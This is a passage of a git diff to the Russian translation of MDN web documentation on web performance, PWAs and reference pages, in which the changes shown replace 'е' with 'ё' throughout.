ресурсов.</p> @@ -27,7 +27,7 @@ translation_of: Web/Performance/How_long_is_too_long <h3 id="Анимация">Анимация</h3> -<p>Для того, чтобы прокрутка и другие анимации выглядели плавно, контент страницы должен обновляться с частотой 60 кадров в секунду (60 fps), то есть один кадр раз в 16.7мс. В эти 16.7мс. должны входить выполнение скриптов, компоновка и отрисовка. Делайте приложение таким, чтобы приложение могло использовать 6мс на отрисовку контента, а в остальные 10мс могло заниматься оставшимися вычислениями. Любая другая частота кадров, особенно если она отрывистая и непостоянная, создает впечатление зависающего приложения.</p> +<p>Для того, чтобы прокрутка и другие анимации выглядели плавно, контент страницы должен обновляться с частотой 60 кадров в секунду (60 fps), то есть один кадр раз в 16.7мс. В эти 16.7мс. должны входить выполнение скриптов, компоновка и отрисовка. Делайте приложение таким, чтобы приложение могло использовать 6мс на отрисовку контента, а в остальные 10мс могло заниматься оставшимися вычислениями. Любая другая частота кадров, особенно если она отрывистая и непостоянная, создаёт впечатление зависающего приложения.</p> <h3 id="Отзывчивость">Отзывчивость</h3> diff --git a/files/ru/web/performance/index.html b/files/ru/web/performance/index.html index 82f34d4d7a..5eb18aa302 100644 --- a/files/ru/web/performance/index.html +++ b/files/ru/web/performance/index.html @@ -19,9 +19,9 @@ tags: - Web Performance translation_of: Web/Performance --- -<p>Производительность в web - это объективные измерения и пользовательские ощущения, связанные с загрузкой и работой приложения. Производительность - это о том, как долго сайт грузится, становится интерактивным и отзывчивым, о том, как плавно происходит взаимодействие с контентом. Плавный ли скролл страницы? Все ли кнопки кликабельны? Всплывающие окна загружаются и показываются быстро? А анимируются? Хорошая производительность требует учета всех аспектов: как объективных, например, фактическое время загрузки страницы или частота смены кадров; так и субъективных - в буквальном смысле "как пользователь воспринимает систему".</p> +<p>Производительность в web - это объективные измерения и пользовательские ощущения, связанные с загрузкой и работой приложения. Производительность - это о том, как долго сайт грузится, становится интерактивным и отзывчивым, о том, как плавно происходит взаимодействие с контентом. Плавный ли скролл страницы? Все ли кнопки кликабельны? Всплывающие окна загружаются и показываются быстро? А анимируются? Хорошая производительность требует учёта всех аспектов: как объективных, например, фактическое время загрузки страницы или частота смены кадров; так и субъективных - в буквальном смысле "как пользователь воспринимает систему".</p> -<p>Чем дольше загружается ваше приложение, тем больше пользователей решаются избавиться от него. Очень важно уменьшать время загрузки приложения, а так же промежутка времени, за которое оно становится интерактивным. Но в то же время, важно добавлять в приложение новые возможности, которые уменьшают время отклика и делают приложение интерактивным за счет неочевидных хитростей, например, за счет асинхронной загрузки данных, которые не понадобятся пользователю "здесь и сейчас". </p> +<p>Чем дольше загружается ваше приложение, тем больше пользователей решаются избавиться от него. Очень важно уменьшать время загрузки приложения, а так же промежутка времени, за которое оно становится интерактивным. Но в то же время, важно добавлять в приложение новые возможности, которые уменьшают время отклика и делают приложение интерактивным за счёт неочевидных хитростей, например, за счёт асинхронной загрузки данных, которые не понадобятся пользователю "здесь и сейчас". </p> <p>Существуют инструменты измерения производительности, API и лучшие практики, которые помогут нам измерять и улучшать производительность. Мы постараемся раскрыть их в следующей секции:</p> diff --git a/files/ru/web/performance/navigation_and_resource_timings/index.html b/files/ru/web/performance/navigation_and_resource_timings/index.html index 2fc612aca0..3dbae7164f 100644 --- a/files/ru/web/performance/navigation_and_resource_timings/index.html +++ b/files/ru/web/performance/navigation_and_resource_timings/index.html @@ -76,12 +76,12 @@ translation_of: Web/Performance/Navigation_and_resource_timings <tr> <td>{{domxref("PerformanceTiming.domainLookupEnd","domainLookupEnd")}}</td> <td> - <p>Поиск домена завершён. Если используется постоянное соединение, или используются данные, сохраненные в локальном кэше, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</p> + <p>Поиск домена завершён. Если используется постоянное соединение, или используются данные, сохранённые в локальном кэше, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</p> </td> </tr> <tr> <td>{{domxref("PerformanceTiming.domainLookupStart","domainLookupStart")}}</td> - <td>Начался поиск домена. Если используется постоянное соединение, или используются данные, сохраненные в локальном кэше, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</td> + <td>Начался поиск домена. Если используется постоянное соединение, или используются данные, сохранённые в локальном кэше, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</td> </tr> <tr> <td>{{domxref("PerformanceTiming.fetchStart","fetchStart")}}</td> @@ -236,7 +236,7 @@ performance.getEntriesByType('frame').forEach((frame) => { <h2 id="Navigation">Navigation</h2> -<p>Когда пользователь запрашивает веб-приложение,<a href="/en-US/docs/Learn/Performance/Populating_the_page:_how_browsers_work"> браузер должен получить некоторые мета-данные</a>, чтобы начать загрузку. Для этого пользовательский агент проходит серию шагов, такие как поиск записи DNS ({{glossary('DNS')}} lookup), TCP рукопожатие {{glossary('TCP handshake')}}, и установку безопасного соединения (SSL negotiation). Как только браузер установил соединение, происходит первый полезный запрос данных на сервера. Как только начинают поступать данные от сервера, браузер начинает парсить полученные данные, строит DOM, CSSOM, создает деревья рендера (render trees), чтобы в конце концов отрендерить страницу. В тот момент, когда браузер перестает парсить входящие данные, документ переходит в интерактивную стадию. Если в документе существуют отложенные к загрузке ресурсы (deferred scripts), которые должны быть обработаны, браузер парсит их. После этого запускается событие <a href="/en-US/docs/">DOMContentLoaded</a>, после которого готовность страницы завершена. Теперь документ может обрабатывать пост-загрузочные задачи. После этого документ маркируется, как полностью загруженный.</p> +<p>Когда пользователь запрашивает веб-приложение,<a href="/en-US/docs/Learn/Performance/Populating_the_page:_how_browsers_work"> браузер должен получить некоторые мета-данные</a>, чтобы начать загрузку. Для этого пользовательский агент проходит серию шагов, такие как поиск записи DNS ({{glossary('DNS')}} lookup), TCP рукопожатие {{glossary('TCP handshake')}}, и установку безопасного соединения (SSL negotiation). Как только браузер установил соединение, происходит первый полезный запрос данных на сервера. Как только начинают поступать данные от сервера, браузер начинает парсить полученные данные, строит DOM, CSSOM, создаёт деревья рендера (render trees), чтобы в конце концов отрендерить страницу. В тот момент, когда браузер перестаёт парсить входящие данные, документ переходит в интерактивную стадию. Если в документе существуют отложенные к загрузке ресурсы (deferred scripts), которые должны быть обработаны, браузер парсит их. После этого запускается событие <a href="/en-US/docs/">DOMContentLoaded</a>, после которого готовность страницы завершена. Теперь документ может обрабатывать пост-загрузочные задачи. После этого документ маркируется, как полностью загруженный.</p> <pre>let navigationTimings = performance.getEntriesByType('navigation');</pre> @@ -274,7 +274,7 @@ performance.getEntriesByType('frame').forEach((frame) => { <p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Если мы проверим вычисления, то результат получится схожим: </span></span></span><code>1 - (22.04 / 87.24) = 0.747</code>. Тайминги навигации позволяют нам получить такие данные программно.</p> -<p>Обратите внимание, что это данные для одного единственно документа, а не для всех ресурсов вместе взятых. В то же время, длительность загрузки, события-обработчики и тайминги построения DOM / CSSOM влияют на продолжительность загрузки всего приложения, не только одного конкретного ресурса. Клиентские приложения, выполняющиеся в браузере, могут выглядеть быстрее, если данные объемом 300КБ вы передаете сжатыми до 100КБ, но это все не значит, что JavaScript, CSS или другие медиа-ресурсы не раздувают приложение и не делают его медленнее. Проверка уровня сжатия - это очень важно, но не менее важно проверять длительность парсинга ресурсов и время между тем, как завершен DOMContentLoaded и DOM готов к работе. Может случиться так, что время парсинга скриптов и обработка скриптами результатов в основном потоке (main thread) приведет к зависанию интерфейса.</p> +<p>Обратите внимание, что это данные для одного единственно документа, а не для всех ресурсов вместе взятых. В то же время, длительность загрузки, события-обработчики и тайминги построения DOM / CSSOM влияют на продолжительность загрузки всего приложения, не только одного конкретного ресурса. Клиентские приложения, выполняющиеся в браузере, могут выглядеть быстрее, если данные объёмом 300КБ вы передаёте сжатыми до 100КБ, но это все не значит, что JavaScript, CSS или другие медиа-ресурсы не раздувают приложение и не делают его медленнее. Проверка уровня сжатия - это очень важно, но не менее важно проверять длительность парсинга ресурсов и время между тем, как завершён DOMContentLoaded и DOM готов к работе. Может случиться так, что время парсинга скриптов и обработка скриптами результатов в основном потоке (main thread) приведёт к зависанию интерфейса.</p> <h3 id="Время_запроса">Время запроса</h3> @@ -298,7 +298,7 @@ performance.getEntriesByType('frame').forEach((frame) => { <p>В объекте данных есть поле Длительность (<code>Duration</code>). Длительность - это разница между <a href="/en-US/docs/Web/API/PerformanceNavigationTiming/loadEventEnd">PerformanceNavigationTiming.loadEventEnd</a> и <a href="/en-US/docs/Web/API/PerformanceEntry/startTime">PerformanceEntry.startTime</a> properties.</p> -<p>Интерфейс PerformanceNavigationTiming, кроме того, дает информацию о том, какой тип навигации вы измеряете, возвращая <code>navigate</code>, <code>reload</code>, <code>back_forward</code> или <code>prerender</code>.</p> +<p>Интерфейс PerformanceNavigationTiming, кроме того, даёт информацию о том, какой тип навигации вы измеряете, возвращая <code>navigate</code>, <code>reload</code>, <code>back_forward</code> или <code>prerender</code>.</p> <h2 id="Resource">Resource</h2> diff --git a/files/ru/web/performance/optimizing_startup_performance/index.html b/files/ru/web/performance/optimizing_startup_performance/index.html index 6da93e1660..3358f1b8f4 100644 --- a/files/ru/web/performance/optimizing_startup_performance/index.html +++ b/files/ru/web/performance/optimizing_startup_performance/index.html @@ -4,7 +4,7 @@ slug: Web/Performance/Optimizing_startup_performance translation_of: Web/Performance/Optimizing_startup_performance --- <div class="summary"> -<p>Часто упускаемый из вида аспект разработки приложений - это скорость запуска приложения. Даже если вы прикладываете много усилий к оптимизации работы приложений, именно этот этап может быть пропущен. Как долго запускается ваше приложение? Создается ли впечатление, что устройство зависает, пока приложение запускается? Все эти симптомы заставляют пользователя считать, что приложение сломано или что-то идет не так. Всегда будет не лишним убедиться, что ваше приложение запускается плавно. В этой статье мы поделимся некоторыми подсказками, которые помогут вам оптимизировать запуск приложения, вне зависимости от того, пишете ли вы его с нуля или работаете над уже существующим.</p> +<p>Часто упускаемый из вида аспект разработки приложений - это скорость запуска приложения. Даже если вы прикладываете много усилий к оптимизации работы приложений, именно этот этап может быть пропущен. Как долго запускается ваше приложение? Создаётся ли впечатление, что устройство зависает, пока приложение запускается? Все эти симптомы заставляют пользователя считать, что приложение сломано или что-то идёт не так. Всегда будет не лишним убедиться, что ваше приложение запускается плавно. В этой статье мы поделимся некоторыми подсказками, которые помогут вам оптимизировать запуск приложения, вне зависимости от того, пишете ли вы его с нуля или работаете над уже существующим.</p> </div> <h2 id="Приятный_запуск">Приятный запуск</h2> @@ -13,7 +13,7 @@ translation_of: Web/Performance/Optimizing_startup_performance <p>Вместо этого, вы можете разбить ваш код так, чтобы часть его обрабатывалась в <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web worker</a>, что выделит его в отдельные фоновые неблокирующие треды (например, запросы данных и их обработка). Затем, все, что должно быть выполнено в основном потоке (например, пользовательские события или рендеринг интерфейса) должно быть разбито на небольшие кусочки так, чтобы обработчик браузера выполнял небольшие куски кода итеративно, а не за один подход. Это позволит ваше приложению выглядеть отзывчивым даже во время первоначальной загрузки.</p> -<p>Почему так важно делать все это асинхронно? Помимо причин, перечисленных выше, подумайте о влиянии, которые оказывают зависшие приложения: пользователь не может отменить запуск, даже если он запустил приложение по ошибке. Если приложение запускается в браузере, пользователь даже не сможет закрыть вкладку. В конечно счете это может привести даже к системным предупреждениям о "медленных скриптах" или "исчерпании памяти". А ведь было время, когда каждая вкладка не работала в отдельном процессе, как сейчас, а потому повисшая вкладка приводила к зависанию всего браузера! Вы должны не просто делать загрузку приложения "мягкой", но и давать пользователю знать о процессе загрузки: показывайте ему прогресс-бары или этапы, которые проходит приложение. Это позволит пользователю убедиться, что приложение не зависло.</p> +<p>Почему так важно делать все это асинхронно? Помимо причин, перечисленных выше, подумайте о влиянии, которые оказывают зависшие приложения: пользователь не может отменить запуск, даже если он запустил приложение по ошибке. Если приложение запускается в браузере, пользователь даже не сможет закрыть вкладку. В конечно счёте это может привести даже к системным предупреждениям о "медленных скриптах" или "исчерпании памяти". А ведь было время, когда каждая вкладка не работала в отдельном процессе, как сейчас, а потому повисшая вкладка приводила к зависанию всего браузера! Вы должны не просто делать загрузку приложения "мягкой", но и давать пользователю знать о процессе загрузки: показывайте ему прогресс-бары или этапы, которые проходит приложение. Это позволит пользователю убедиться, что приложение не зависло.</p> <h3 id="Было_бы_желание...">Было бы желание...</h3> @@ -21,7 +21,7 @@ translation_of: Web/Performance/Optimizing_startup_performance <p>С другой стороны, потребуются некоторые ухищрения, если вы пытаетесь портировать существующее десктопное приложение в Web или привыкли писать такие. Десктопные приложения обычно не нуждаются в написании кода в асинхронной манере, потому что операционная система берет заботу об этом на себя. В исходниках такого приложения может быть лишь один поток обработки кода, но даже он может быть легко разбит на асинхронные этапы (запуском каждой новой итерации потока по отдельности). В таких приложениях запуск часто представляет собой последовательную монолитную процедуру, которая время от времени обращается к метрикам прогресса и обновляет их.</p> -<p>И хотя вы можете использовать <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web workers</a>, чтобы обработать очень большие и "тяжелые" скрипты асинхронно, вы должны учитывать некоторые ограничения. Web Worker-ы не имеют доступа к некоторым API браузера: DOM, <a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a> или audio, они не могут посылать синхронные сообщения в основной поток, вы даже не можете проксировать некоторые из этих API в основной поток. Это всё означает, что вы можете поместить в Web Worker-ы только "чистые функции", но вам все равно придется вычислять огромную часть данных в основном потоке. Поэтому очень полезно разрабатывать систему так, чтобы в ней было как можно больше чистых функций - так их будет проще делегировать последствии.</p> +<p>И хотя вы можете использовать <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web workers</a>, чтобы обработать очень большие и "тяжёлые" скрипты асинхронно, вы должны учитывать некоторые ограничения. Web Worker-ы не имеют доступа к некоторым API браузера: DOM, <a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a> или audio, они не могут посылать синхронные сообщения в основной поток, вы даже не можете проксировать некоторые из этих API в основной поток. Это всё означает, что вы можете поместить в Web Worker-ы только "чистые функции", но вам все равно придётся вычислять огромную часть данных в основном потоке. Поэтому очень полезно разрабатывать систему так, чтобы в ней было как можно больше чистых функций - так их будет проще делегировать последствии.</p> <p>Тем не менее, даже код в основном потоке можно сделать асинхронным, приложив лишь небольшие усилия.</p> @@ -45,9 +45,9 @@ translation_of: Web/Performance/Optimizing_startup_performance <p>Когда первоначальная загрузка завершена и начинается обработка приложения в основном потоке, вполне возможно, что ваше приложение обязано быть однопоточным, особенно если это портированная версия. Очень важно попытаться помочь процессу запуска приложения, порефакторив код, сделав его композитным, состоящим из маленьких кусочков, каждый из которых может быть обработан последовательно основным потоком. В этом случае, в промежутке между выполнением этих кусочков кода браузер сможет выделить время на обработку ввода (например, клик) или на обработку микро-задач.</p> -<p>В случае, если вы портируете ваше приложение, вы наверняка знаете о <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten. </a>Это решение предоставляет API, которое поможет с подобным рефакторингом. Например, вы можете использовать <code>emscripten_push_main_loop_blocker()</code>, чтобы определить функцию, как выполняемую после того, как основной поток разрешит продолжить работу. Создавая такие функции, создавая очередь, которая должна выполниться в определенном порядке, вы можете с легкостью разгрузить основной поток.</p> +<p>В случае, если вы портируете ваше приложение, вы наверняка знаете о <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten. </a>Это решение предоставляет API, которое поможет с подобным рефакторингом. Например, вы можете использовать <code>emscripten_push_main_loop_blocker()</code>, чтобы определить функцию, как выполняемую после того, как основной поток разрешит продолжить работу. Создавая такие функции, создавая очередь, которая должна выполниться в определённом порядке, вы можете с лёгкостью разгрузить основной поток.</p> -<p>Конечно, все это не отменяет необходимости рефакторинга кода так, чтобы он работал лучше и это займет время. Но для старта этого может оказаться достаточно.</p> +<p>Конечно, все это не отменяет необходимости рефакторинга кода так, чтобы он работал лучше и это займёт время. Но для старта этого может оказаться достаточно.</p> <h3 id="Насколько_далеко_я_должен_зайти">Насколько далеко я должен зайти?</h3> diff --git a/files/ru/web/performance/performance_budgets/index.html b/files/ru/web/performance/performance_budgets/index.html index ff86f4b139..8cb841d20d 100644 --- a/files/ru/web/performance/performance_budgets/index.html +++ b/files/ru/web/performance/performance_budgets/index.html @@ -3,7 +3,7 @@ title: Бюджет производительности slug: Web/Performance/Performance_budgets translation_of: Web/Performance/Performance_budgets --- -<p><span class="seoSummary">Бюджет производительности - это лимит для предотвращения регрессий. Этот бюджет может быть применен к файлам, типам файлов, всем ресурсам приложения, определенным общим показателям (например, <a href="/en-US/docs/Glossary/Time_to_interactive">Время до интерактивности</a>) пользовательским показателям (например, Время до главного элемента) или к пороговым значениям к определенным точкам во времени. </span></p> +<p><span class="seoSummary">Бюджет производительности - это лимит для предотвращения регрессий. Этот бюджет может быть применён к файлам, типам файлов, всем ресурсам приложения, определённым общим показателям (например, <a href="/en-US/docs/Glossary/Time_to_interactive">Время до интерактивности</a>) пользовательским показателям (например, Время до главного элемента) или к пороговым значениям к определённым точкам во времени. </span></p> <h2 id="Зачем_нужен_бюджет">Зачем нужен бюджет?</h2> @@ -14,12 +14,12 @@ translation_of: Web/Performance/Performance_budgets <ul> <li>Временные (например, <a href="/en-US/docs/Glossary/Time_to_interactive">Время до интерактивности,</a> <a href="/en-US/docs/Glossary/First_contentful_paint">Первая отрисовка контента</a>).</li> <li>Количественный (например, размер загруженных JS файлов, количество изображений).</li> - <li>Определенные правилами (например. индекс <a href="https://developers.google.com/speed/pagespeed/insights/">Pagespeed</a>, баллы Lighthouse).</li> + <li>Определённые правилами (например. индекс <a href="https://developers.google.com/speed/pagespeed/insights/">Pagespeed</a>, баллы Lighthouse).</li> </ul> <p>Главная цель такого подхода - сокращение регрессии. Но этот подход может помочь предсказать поведение приложения в будущем. Например, в Сентябре 50% месячного бюджета было использовано за неделю - значит, нужно ждать увеличения потребления контента, нагрузки на сервера и т.д.</p> -<p>Кроме того, подход может раскрыть некоторые нужды разработчиков (например, может оказаться, что в финальном коде вашего приложения половину объема занимает огромная библиотека, из которой вы используете только мизерную часть функционала).</p> +<p>Кроме того, подход может раскрыть некоторые нужды разработчиков (например, может оказаться, что в финальном коде вашего приложения половину объёма занимает огромная библиотека, из которой вы используете только мизерную часть функционала).</p> <h2 id="Как_определить_бюджет">Как определить бюджет?</h2> @@ -38,7 +38,7 @@ translation_of: Web/Performance/Performance_budgets <p>Базовая цель - достигнуть показателя <a href="https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/">"Время до интерактивности" до 5 секунд при 3G/4G, и до 2 секунд для последующих загрузок</a>. Однако, вы можете придумать свои цели, основанные на контенте приложения, географии пользователей и технологиях.</p> -<p>Например, для приложения с большим количеством текста (блоги, новостные сайты), показатель <a href="/en-US/docs/Glossary/First_contentful_paint">Первая отрисовка контента (First Contentful Paint)</a> будет гораздо лучше показывать, с чем сталкивается пользователь. Иными словами, этот показатель покажет, как быстро пользователь начинает читать. И этот показатель должен быть включен в специфичные бюджеты, например, бюджет шрифтов, где вы можете применять разные техники для оптимизации. Например, <a href="/en-US/docs/Web/CSS/@font-face/font-display">font-display</a>, чтобы улучшить <a href="/en-US/docs/Learn/Performance/perceived_performance">Субъективно Ощущаемую производительность</a>).</p> +<p>Например, для приложения с большим количеством текста (блоги, новостные сайты), показатель <a href="/en-US/docs/Glossary/First_contentful_paint">Первая отрисовка контента (First Contentful Paint)</a> будет гораздо лучше показывать, с чем сталкивается пользователь. Иными словами, этот показатель покажет, как быстро пользователь начинает читать. И этот показатель должен быть включён в специфичные бюджеты, например, бюджет шрифтов, где вы можете применять разные техники для оптимизации. Например, <a href="/en-US/docs/Web/CSS/@font-face/font-display">font-display</a>, чтобы улучшить <a href="/en-US/docs/Learn/Performance/perceived_performance">Субъективно Ощущаемую производительность</a>).</p> <p>Но самая главная цель таких бюджетов - это возможность корреляции Производительности и Бизнес-целей. Когда вы определяете какие-то показатели, вы должны сфокусироваться на пользовательском опыте. Только он может диктовать, как мы должны изменять приложение таким образом, чтобы не просто улучшить конверсию, но и предсказать вероятность того, что пользователь вернётся.</p> @@ -53,7 +53,7 @@ translation_of: Web/Performance/Performance_budgets <p>Проверка размеров файлов - это лишь первый рубеж защиты от регрессий. Преобразование этих показателей во временные может быть сложным, потому что во время разработки окружение разработчика может не включать в себя сторонние библиотеки или оптимизации, которые обычно присутствуют в Production сборках.</p> -<p>Поэтому, рекомендуется определить базовые линии для каждой метрики бюджета с учетом разницы между окружением разработчика и боевым окружением.</p> +<p>Поэтому, рекомендуется определить базовые линии для каждой метрики бюджета с учётом разницы между окружением разработчика и боевым окружением.</p> <p>С этим может помочь, например, <a href="https://github.com/GoogleChromeLabs/lighthousebot">Lighthouse Bot</a>, который можно встроить в <a href="https://travis-ci.org/">Travis CI</a> и использовать для получения аналитики <a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a> и <a href="https://webpagetest.org">Webpage Test</a>. Этот бот будет сообщать об ошибке или успешном прохождении тестов на основе определённых минимальных оценок.</p> @@ -61,7 +61,7 @@ translation_of: Web/Performance/Performance_budgets <p>Чем раньше вы сможете определить новую трату к бюджету, тем лучше вы сможете оценить текущее состояние приложения и указать на необходимые оптимизации.</p> -<p>Кроме того, лучше иметь несколько бюджетов и быть проактивным. Бюджеты должны отражать ваши текущие цели, но не должны мешать экспериментам. Например, вы можете привнести функционал, который увеличит общее время загрузки приложения, но попытается увеличить пользовательскую вовлечённость (например, как долго пользователь остается на странице).</p> +<p>Кроме того, лучше иметь несколько бюджетов и быть проактивным. Бюджеты должны отражать ваши текущие цели, но не должны мешать экспериментам. Например, вы можете привнести функционал, который увеличит общее время загрузки приложения, но попытается увеличить пользовательскую вовлечённость (например, как долго пользователь остаётся на странице).</p> <p>Бюджет помогает вам сохранить оптимальное поведение ваших текущих пользователей, когда вы пытаетесь выйти на новые рынки или привнести что-то новое в ваше приложение.</p> diff --git a/files/ru/web/performance/rum-vs-synthetic/index.html b/files/ru/web/performance/rum-vs-synthetic/index.html index a2d0a17bec..6692991729 100644 --- a/files/ru/web/performance/rum-vs-synthetic/index.html +++ b/files/ru/web/performance/rum-vs-synthetic/index.html @@ -12,7 +12,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic <h2 id="Синтетический_мониторинг"><strong>Синтетический мониторинг</strong></h2> -<p>Синтетический мониторинг включает в себя мониторинг производительности в "лабораторных" условиях, обычно с помощью автоматизированных инструментов в цельном окружении. Такой подход включает в себя создание скриптов, симулирующих путь, который может пройти пользователь, пользуясь приложением. Таким образом тестируются не настоящие пользователи, но заранее определенный набор инструкций, который выполняется в предопределенном окружении.</p> +<p>Синтетический мониторинг включает в себя мониторинг производительности в "лабораторных" условиях, обычно с помощью автоматизированных инструментов в цельном окружении. Такой подход включает в себя создание скриптов, симулирующих путь, который может пройти пользователь, пользуясь приложением. Таким образом тестируются не настоящие пользователи, но заранее определённый набор инструкций, который выполняется в предопределённом окружении.</p> <p>Пример такого мониторинга - <a href="https://WebPageTest.org">WebPageTest.org</a>. Ресурс предоставляет контролируемое окружение, где вы определяете географию, сеть, устройства, браузеры и кешированные данные. Сервис предоставляет Waterfall график для каждого ресурса, который используется в вашем приложении и грузится сторонними библиотеками (например, рекламными или аналитическими инструментами).</p> @@ -22,7 +22,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic <h2 id="Мониторинг_реальных_пользователей_RUM">Мониторинг реальных пользователей (RUM)</h2> -<p id="Real_User_Monitoring_(RUM)"><strong>Мониторинг реальных пользователей (Real User Monitoring, RUM) </strong>измеряет производительность приложения на устройствах конечных пользователей. В основе подхода - сторонний скрипт, который вставляет другие скрипты на каждую страницу. Эти дополнительные скрипты измеряют производительность и предоставляют отчеты о ней. Этот подход помогает не только узнать, насколько производительно приложение, но и дает информацию об использовании приложения, например, о географии, распределении пользователей или влиянии такого распределения на пользовательский опыт.</p> +<p id="Real_User_Monitoring_(RUM)"><strong>Мониторинг реальных пользователей (Real User Monitoring, RUM) </strong>измеряет производительность приложения на устройствах конечных пользователей. В основе подхода - сторонний скрипт, который вставляет другие скрипты на каждую страницу. Эти дополнительные скрипты измеряют производительность и предоставляют отчёты о ней. Этот подход помогает не только узнать, насколько производительно приложение, но и даёт информацию об использовании приложения, например, о географии, распределении пользователей или влиянии такого распределения на пользовательский опыт.</p> <p>В отличие от синтетического мониторинга, RUM собирает данные от настоящих пользователей, вне зависимости от их устройств, браузеров, сети или геолокации. Пока пользователь взаимодействует с приложением, тайминги такого взаимодействия записываются, вне зависимости от того, какое действие выполняется в конкретный момент. Такой мониторинг собирает данные о реальном использовании приложения, а не о том поведении, которое ожидают разработчики или, скажем, отдел маркетинга. Это особенно важно для больших веб-сайтов или сложных приложений, где функционал или содержимое постоянно меняются, а количество пользователей может очень сильно расти, создавая новые нагрузки и требования.</p> @@ -32,7 +32,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic <p>Синтетический мониторинг хорошо подходит для отлавливания регрессий в ходе разработки приложения. Особенно полезным может оказаться занижение скорости сети ({{glossary('network throttling')}}). Такой подход довольно прост, недорог и великолепно подходит для тестирования определённых точек приложения по мере того, как вы вносите изменения в код. Но он даёт лишь узкий обзор производительности и не говорит о том, что испытывает пользователь.</p> -<p>Тестирование на реальных пользователях, в свою очередь, дает информацию о настоящих пользователях, которые используют приложение или веб-сайт. И хотя получение и обработка таких данных обходится дороже и не так проста, такой подход дает жизненно важные данные о пользовательском опыте.</p> +<p>Тестирование на реальных пользователях, в свою очередь, даёт информацию о настоящих пользователях, которые используют приложение или веб-сайт. И хотя получение и обработка таких данных обходится дороже и не так проста, такой подход даёт жизненно важные данные о пользовательском опыте.</p> <h2 id="API_для_измерения_производительности">API для измерения производительности</h2> diff --git a/files/ru/web/progressive_web_apps/installable_pwas/index.html b/files/ru/web/progressive_web_apps/installable_pwas/index.html index 034dfb976a..3aa9e01580 100644 --- a/files/ru/web/progressive_web_apps/installable_pwas/index.html +++ b/files/ru/web/progressive_web_apps/installable_pwas/index.html @@ -15,7 +15,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs <ul> <li>Веб-манифест с <a href="/en-US/Apps/Progressive/Add_to_home_screen#Manifest">правильно заполненными полями</a></li> - <li>Сайт должен использовать защищенный (HTTPS) домен</li> + <li>Сайт должен использовать защищённый (HTTPS) домен</li> <li>Иконка для предоставления приложения на устройстве</li> <li>Зарегистрированный service worker, чтобы приложение работало в off-line режиме (на данный момент требуется только для Chrome на Android)</li> </ul> @@ -26,7 +26,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs <p>Обычно находится в корневой папке веб-приложения. Содержит информацию, такую как название приложения, paths пути к значкам разных размеров, которые можно использовать для представления приложения в мобильных операционных системах (например, в качестве значка домашнего экрана), и цвет фона для использования при загрузке. Эта информация необходима браузеру для правильного отображения приложения при установке и на домашнем экране.</p> -<p>Файл <code>js13kpwa.webmanifest</code> веб-приложения <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> включен в раздел {{htmlelement("head")}} файла <code>index.html</code> с помощью следующей строчки кода:</p> +<p>Файл <code>js13kpwa.webmanifest</code> веб-приложения <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> включён в раздел {{htmlelement("head")}} файла <code>index.html</code> с помощью следующей строчки кода:</p> <pre class="brush: html"><link rel="manifest" href="js13kpwa.webmanifest"></pre> @@ -98,7 +98,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs <h3 id="Экран_загрузки">Экран загрузки</h3> -<p>В некоторых браузерах, на основе информации из манифеста, создается заставка, отображаемая при запуске PWA</p> +<p>В некоторых браузерах, на основе информации из манифеста, создаётся заставка, отображаемая при запуске PWA</p> <p><img alt="" src="https://mdn.mozillademos.org/files/15835/js13kpwa-splash.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> diff --git a/files/ru/web/reference/api/index.html b/files/ru/web/reference/api/index.html index df6fdaf23f..b3439cdf85 100644 --- a/files/ru/web/reference/api/index.html +++ b/files/ru/web/reference/api/index.html @@ -8,7 +8,7 @@ tags: - Справка translation_of: Web/Reference/API --- -<p><span class="seoSummary">Веб предлагает широкий спектр интерфейсов для выполнения различных полезных задач. Они могут быть доступны с помощью кода JavaScript, и путем внесения незначительных корректив в объекты {{domxref("window")}} или {{domxref("element")}}. Для создания сложной графики и аудио эффектов используются такие интерфейсы как <a href="/ru/docs/Web/WebGL">WebGL</a> и <a href="/ru/docs/Web_Audio_API">Web Audio</a>.</span></p> +<p><span class="seoSummary">Веб предлагает широкий спектр интерфейсов для выполнения различных полезных задач. Они могут быть доступны с помощью кода JavaScript, и путём внесения незначительных корректив в объекты {{domxref("window")}} или {{domxref("element")}}. Для создания сложной графики и аудио эффектов используются такие интерфейсы как <a href="/ru/docs/Web/WebGL">WebGL</a> и <a href="/ru/docs/Web_Audio_API">Web Audio</a>.</span></p> <p><a href="/ru/docs/Web/API">Описание всех интерфейсов (APIs).</a></p> diff --git a/files/ru/web/reference/index.html b/files/ru/web/reference/index.html index 3b429c22d2..6ebb520ba5 100644 --- a/files/ru/web/reference/index.html +++ b/files/ru/web/reference/index.html @@ -7,7 +7,7 @@ translation_of: Web/Reference --- <p>{{draft()}}</p> -<p><span id="result_box" lang="ru"><span>Открытая сеть построена с использованием ряда технологий.</span> <span>Ниже вы найдете ссылки на наши справочные материалы по каждому из них.</span></span></p> +<p><span id="result_box" lang="ru"><span>Открытая сеть построена с использованием ряда технологий.</span> <span>Ниже вы найдёте ссылки на наши справочные материалы по каждому из них.</span></span></p> <div class="row topicpage-table"> <div class="section"> diff --git a/files/ru/web/security/same-origin_policy/index.html b/files/ru/web/security/same-origin_policy/index.html index 0b304bf42f..e1b008a445 